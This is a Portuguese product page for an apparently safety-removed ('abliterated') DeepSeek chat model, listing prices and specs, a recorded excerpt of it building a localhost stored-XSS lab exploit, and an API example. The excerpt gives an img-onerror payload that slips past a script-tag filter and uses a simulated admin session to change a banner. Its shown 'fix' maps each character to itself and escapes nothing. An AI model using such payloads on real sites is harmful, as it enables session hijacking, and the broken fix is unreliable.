Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash 1017 Abliterated
deepseek-v4.1-flash-1017-abliterated Para Chat. Recomendação editorial, não uma classificação de desempenho.
Disponível no chat do navegador e pela API compatível com OpenAI.
Preços dos tokens
Preços em USD por 1 milhão de tokens
- Entrada / 1M
- 0,300 US$
- Em cache / 1M
- 0,120 US$
- Saída / 1M
- 0,300 US$
Especificações do modelo
DeepSeek · abliterado
- Janela de contexto
- 1 000 000 tokens
- Saída máxima
- 65 536 tokens
- Capacidades
- Texto · Streaming · Chamadas de ferramentas
Desempenho medido
- Tokens/s médios
- 62,7
- TTFT estimado
- ≈ 5,3 s
- Indicador de disponibilidade
- 99,9%
Atualizado 01/11/26, 20:28:37 UTC · Sucesso do fornecedor em 24 h · Um traço indica que não há medições atuais suficientes.
Vê a resposta do modelo
Resposta real a uma pergunta sobre XSS armazenado num laboratório local. A pergunta e a resposta estão em inglês. A saída é texto; nenhum código de exemplo é executado aqui.
DeepSeek V4.1 Flash 1017 Abliterated
Resposta registada · 28/10/2026, 19:09 UTC
Excerto selecionado da resposta registada. Algumas partes foram omitidas.
## Reproduce
node server.js &
curl -s -X POST localhost:3000/comment --data-urlencode 't=<img src=x onerror="fetch('"'"'/admin/banner'"'"',{method:'"'"'POST'"'"',headers:{'"'"'Content-Type'"'"':'"'"'application/json'"'"'},body:JSON.stringify({text:'"'"'OWNED IN THE LAB'"'"'})})">'
curl -s -c /tmp/j localhost:3000/admin # fake admin session
node bot.js # prints: OWNED IN THE LABThe <img onerror> slips past the <script> regex; the handler runs same-origin, so the browser attaches sid=admin and the POST is authorized.
## Fix (safe rendering)
const esc = s => s.replace(/[&<>"]/g, c => ({ '&':'&','<':'<','>':'>','"':'"' }[c]));
// ... <p>${esc(c)}</p>Exemplo registado, não é um chat em direto.Abrir chat
Usa este modelo pela API
Cria uma chave API e adiciona créditos. Define UNCENSOREDLABS_API_KEY no ambiente. Instala o pacote openai para JavaScript ou Python.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-1017-abliterated",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Compatível com OpenAI. Altere a sua URL base.Ler o início rápido
Limitações e faturação
- Sem filtros não garante uma resposta a todas as perguntas. As respostas podem estar erradas, incompletas ou ser recusadas.
- A saída máxima é o limite do serviço UncensoredLabs. Gerações longas e tarefas com contexto completo não foram avaliadas em benchmarks.
- Créditos são reservados para a saída solicitada e um limite conservador de entrada; modelos sem contagem verificada por tamanho da solicitação usam o contexto completo. A cobrança final usa consumo verificado; solicitações incertas podem manter a reserva.
- O prazo é de dez minutos. Aplicam-se limites de frequência, simultaneidade e disponibilidade do fornecedor; os erros incluem 429 com Retry-After.
- A UncensoredLabs não guarda perguntas nem respostas nos seus servidores. Aplica-se a política de retenção do fornecedor de inferência.